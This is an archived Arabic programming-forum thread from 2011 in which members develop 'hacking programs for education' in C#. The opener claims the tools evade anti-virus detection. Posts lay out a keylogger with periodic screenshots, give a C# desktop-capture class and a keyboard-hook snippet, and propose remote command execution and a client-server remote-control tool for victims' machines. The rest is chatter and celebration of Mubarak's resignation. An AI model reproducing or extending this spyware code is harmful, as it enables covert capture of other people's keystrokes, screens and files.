الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

تصميم برامج الهاكر لغرض التعليم

بدأه SmartElectronic في 27 يناير 2011 · 22 رد · 2,475 مشاهدة · في Microsoft Visual C#.NET
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

نظرا لانعدام مثل هذه الدروس فقمت باعداد بعض الاكواد بلغة السي شارب الجميله وفي انتظار راي الادارة في طرحها علي هذا الموقع الجميل لهدف التعليم وانا غير مسئول عن سوء الاستخدام ملحوظة جميع الدروس والاكواد تم تجربتها علي اكثر من شبكة ولا يتم كشفها من اي برامج انتي هاك او انتي فيرس

1
#2

السلام عليكم و رحمة الله و بركاته

أخي الفاضل إن كان لا يوجد في هذه الأكواد ضرر بأجهزة الأعضاء و الغرض منها تعليمي فلا أرى (شخصيا) ما نع في رفعها هنا.

يرجى من الأعضاء التأكد من الوضائف كل الدوال في الأكواد قبل إستخدامها، و هذا ليس لعدم الثقة في صاحب الموضوع إنما لتجنب إستخدامها بما يعود سلبا عليكم

#3

يا ريت توضعها

فاكيد لها عدة استخدامات وليست كلها سيئه

#4

معرفة كود برامج الهاكر هي سبيلنا لحماية اجهزتنا...ارجو الموافقة على وضعها

Currently working on ASP.net ..... come Back Soon

#5

نرجو الموافقة

#6

الصراحة الفكرة تروقني كثيرااااااااااااااا ........... وتطلعنا على أكواد قد تكون مفيدة وممتعة بنفس الوقت وفي النهاية الغرض تعلميمي

قل لمن يحمل هما ****** إن همــــا لا يدوم
:rolleyes: :rolleyes: :clapping: :rolleyes: :rolleyes:

مثلا تفنى المسـرة ***** هكذا تفنى الهموم

#7

انا معكم على الموافقة

291964_260506123967115_206850989332629_1001538_45132_n.jpg

اللهم إني أعوذ بك من علم لا ينفع ، ومن قلب لا يخشع ، ومن نفس لا تشبع ، ومن دعوة لا يستجاب لها

#8

ان شاء الله تكون في مستوى مميز وانا في الإنتظار .....

اللهم صلّ على سيدنا محمد وعلى آله وصحبه وسلّم


موقعي الرياضي

#9

يبدو أن العضو إختفى، بإمكانكم متابعة الدورة للهاكر هنا

http://www.sec4ever.com/home/showthread.php?t=4697

#10

للمهتمين يمكن المتابعة هنا.

/index.php?showtopic=236199

#11

اسف علي التاخير فكنا نمر بظروف عصيبة هنا في مصر وكان النت مفصول تماما فارجو من الاعضاء التماس عذرا لي علي التاخير

نبدا بسم الله الرحمن الرحيم

في البداية عملية الاختراق هي الدخول الغير مشروع الي جهاز معين اما ان يكون هذا الجهاز بعيد او ان يكون امامك

في الحالة الاولي انك امام الجهاز وتريد الدخول اليه يوجد برامج لضرب الباسورد وبرامج لمراقبة الجهاز بمعني مراقبة كل ضغطه من الكيبورد واخذ صور من الشاشة وغيرها

برامج الهاكر عن بعد(الاختراق عن بعد) تنقسم الي قسمين من وجهة نظري هما

1-برامج تتعامل بالثغرات (ثغرات في الوندوز) وهي تتطلب شخص محترف في البرمجة ونظام التشغيل واكيد انا لست هذا الشخص

2- برامج شبكات عميل وخادم وهذا النوع انا مجربه شخصيا وناجح

ملحوظة انا لست خبير في هذا المجال وانما من الهواة وقمت بتصميم بعض البرامج منها يعمل بكفائة ومنها مايحتاج تعديل فانا سوف اشارك بهم ونتبادل الافكار

واول برنامج سوف نبدا به وهو برنامج Key Logger وهو برنامج مراقبة لوحة المفاتيح واخذ صور من الشاشة

مميزات البرنامج

1- تسجيل الحروف بلغة العربية والانجليزية

2-اخذ لقطه من الشاشة كل زمن معين او عند تغير النافذة

3- تسجيل حالة المفاتيح الخاصة مثل shift وغيرها

ارجو من الاخوة وضع بعد المميزات المطلوبة في هذه النوعية من البرامج لكي نتناقش فيها من خلاال الاكواد

#12

بسم الله الرحمن الرحيم

اولا يجب دراسة هذه الاكواد بدقة

هذا الكلاس خاص باخذ صورة للشاشة

using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.IO;

using System.Drawing;

using System.Drawing.Imaging;

using System.Runtime.InteropServices;

namespace SmartKeyLogger

{

class DesktopWindow

{

#region API_

[DllImport("user32.dll")]

private static extern IntPtr GetDesktopWindow();

[DllImport("gdi32.dll")]

private static extern bool BitBlt(

IntPtr hdcDest, // handle to destination DC

int nXDest, // x-coord of destination upper-left corner

int nYDest, // y-coord of destination upper-left corner

int nWidth, // width of destination rectangle

int nHeight, // height of destination rectangle

IntPtr hdcSrc, // handle to source DC

int nXSrc, // x-coordinate of source upper-left corner

int nYSrc, // y-coordinate of source upper-left corner

System.Int32 dwRop // raster operation code

);

private const Int32 SRCCOPY = 0xCC0020;

[DllImport("user32.dll")]

private static extern int GetSystemMetrics(int nIndex);

private const int SM_CXSCREEN = 0;

private const int SM_CYSCREEN = 1;

#endregion

private Size GetDesktopBitmapSize()

{

return new Size(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));

}

public byte[] GetDesktopBitmapBytes()

{

Size DesktopBitmapSize = GetDesktopBitmapSize();

Graphics Graphic = Graphics.FromHwnd(GetDesktopWindow());

Bitmap MemImage = new Bitmap(DesktopBitmapSize.Width, DesktopBitmapSize.Height, Graphic);

Graphics MemGraphic = Graphics.FromImage(MemImage);

IntPtr dc1 = Graphic.GetHdc();

IntPtr dc2 = MemGraphic.GetHdc();

BitBlt(dc2, 0, 0, DesktopBitmapSize.Width, DesktopBitmapSize.Height, dc1, 0, 0, SRCCOPY);

Graphic.ReleaseHdc(dc1);

MemGraphic.ReleaseHdc(dc2);

Graphic.Dispose();

MemGraphic.Dispose();

Graphics g = System.Drawing.Graphics.FromImage(MemImage);

System.Windows.Forms.Cursor cur = System.Windows.Forms.Cursors.Arrow;

cur.Draw(g, new Rectangle(System.Windows.Forms.Cursor.Position.X - 10, System.Windows.Forms.Cursor.Position.Y - 10, cur.Size.Width, cur.Size.Height));

MemoryStream ms = new MemoryStream();

MemImage.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);

return ms.GetBuffer();

}

}

}

#13

السلام عليكم ورحمة الله وبركاته

حبيت اشارك في الموضوع

بالنسبة لعمل keyboard hookفي المرفقات

وهنا لعمل استدعاء

عندما تريد عمل active hook والعكس

KeyboardHook.Singleton.OnKeyDown += new KeyEventHandler(Singleton_OnKeyDown);

                    KeyboardHook.Singleton.Hook();

   KeyboardHook.Singleton.OnKeyDown += new KeyEventHandler(Singleton_OnKeyDown);

                    KeyboardHook.Singleton.UnHook();

وهنا لتخزين ما يتم كتابته بالكيبورد في متغير

private void Singleton_OnKeyDown(object sender, KeyEventArgs e)
        {

            string hook_key=e.KeyCode.ToString();


            e.Handled =true;
        }

keyboard hook.rar

تم تعديل هذه المشاركة بواسطة ayash في 7 فبراير 2011 في 09:51

291964_260506123967115_206850989332629_1001538_45132_n.jpg

اللهم إني أعوذ بك من علم لا ينفع ، ومن قلب لا يخشع ، ومن نفس لا تشبع ، ومن دعوة لا يستجاب لها

#14

ما رايكم ايضا اضافة خاصية في البرنامج عملية تنفيذ جميع اوامر الدوس كانك تعمل على جهازك وترى ايضا النتائج 

مثلا تعمل

dir d:\

بامكانك رؤية الملفات اي كانك تنفذها على جهازك وبمكانك حذف وعرض المحتويات للملفات

???????

291964_260506123967115_206850989332629_1001538_45132_n.jpg

اللهم إني أعوذ بك من علم لا ينفع ، ومن قلب لا يخشع ، ومن نفس لا تشبع ، ومن دعوة لا يستجاب لها

#15
SmartElectronic كتب:

اسف علي التاخير فكنا نمر بظروف عصيبة هنا في مصر وكان النت مفصول تماما فارجو من الاعضاء التماس عذرا لي علي التاخير

نبدا بسم الله الرحمن الرحيم

في البداية عملية الاختراق هي الدخول الغير مشروع الي جهاز معين اما ان يكون هذا الجهاز بعيد او ان يكون امامك

في الحالة الاولي انك امام الجهاز وتريد الدخول اليه يوجد برامج لضرب الباسورد وبرامج لمراقبة الجهاز بمعني مراقبة كل ضغطه من الكيبورد واخذ صور من الشاشة وغيرها

برامج الهاكر عن بعد(الاختراق عن بعد) تنقسم الي قسمين من وجهة نظري هما

1-برامج تتعامل بالثغرات (ثغرات في الوندوز) وهي تتطلب شخص محترف في البرمجة ونظام التشغيل واكيد انا لست هذا الشخص

2- برامج شبكات عميل وخادم وهذا النوع انا مجربه شخصيا وناجح

ملحوظة انا لست خبير في هذا المجال وانما من الهواة وقمت بتصميم بعض البرامج منها يعمل بكفائة ومنها مايحتاج تعديل فانا سوف اشارك بهم ونتبادل الافكار

واول برنامج سوف نبدا به وهو برنامج Key Logger وهو برنامج مراقبة لوحة المفاتيح واخذ صور من الشاشة

مميزات البرنامج

1- تسجيل الحروف بلغة العربية والانجليزية

2-اخذ لقطه من الشاشة كل زمن معين او عند تغير النافذة

3- تسجيل حالة المفاتيح الخاصة مثل shift وغيرها

ارجو من الاخوة وضع بعد المميزات المطلوبة في هذه النوعية من البرامج لكي نتناقش فيها من خلاال الاكواد

إن شاء الله تكونوا سالمين.

من الأفضل أن تقوم برفع المشروع مباشرة هنا لتسهيل المتابعة، و جزاك الله خيرا

#16

السلام عليكم ورحمة الله وبركاته

في المرفقات شرح كامل لبرنامج KeyLogger

DevilHacking.pdf

1
#17

مشكور أخي الكريم على الكود فيه افكار جديدة بالنسبة لي

قل لمن يحمل هما ****** إن همــــا لا يدوم
:rolleyes: :rolleyes: :clapping: :rolleyes: :rolleyes:

مثلا تفنى المسـرة ***** هكذا تفنى الهموم

#18

بسم الله الرحمن الرحيم

ايه الاخبار يااعزائي الموضوع مجدي للاستمرار ام تم رفض الموضوع ؟؟؟؟؟

#19

استمر بارك الله فيك

قل لمن يحمل هما ****** إن همــــا لا يدوم
:rolleyes: :rolleyes: :clapping: :rolleyes: :rolleyes:

مثلا تفنى المسـرة ***** هكذا تفنى الهموم

#20

لان نتجه الي مرحلة الشبكات وكيف ننشئ برنامج اتصال (خادم وعميل ) ولمزيدمن المعلومات حول هذا الموضوع هذا رابط كتاب برمجة الشبكات والنظم الموزعة وهو كتاب رائع برمجة الشبكات

#21

:wub: :wub: :wub:الله اكبر الله اكبر تخلي الرئيس محمد حسني مبارك عن الرئاسة[ :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: :wub: /size]

#22

الف مبروك SmartElectronic على تخلى مبارك للسلطة

واستمر فى الدوره نحن متابعون بأهمية خطوة خطوة ربنا يوفقك

byte[][] scores = new byte[5][];
for (int x = 0; x < scores.Length; x++) 
{
   scores[x] = new byte[4];
}
#23

بسم الله الرحمن الرحيم

في البداية ندعو الي اخواتنا شعب ليبيا الكريم بالنصر

قمت بعمل برنامج علي سبيل المثال مكون من جزئين الاول خادم والاخر عميل يقوم بالتحكم في الجهاز عن بعد داخل الشبكة المحلية فقط والتحكمات التي يقوم بها هي اخراج السي دي وادخاله اخفاء مكونات سطح المكتب وغيرها وجاري الان رفعه إن شاء الله يكون علي الموقع غدا

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…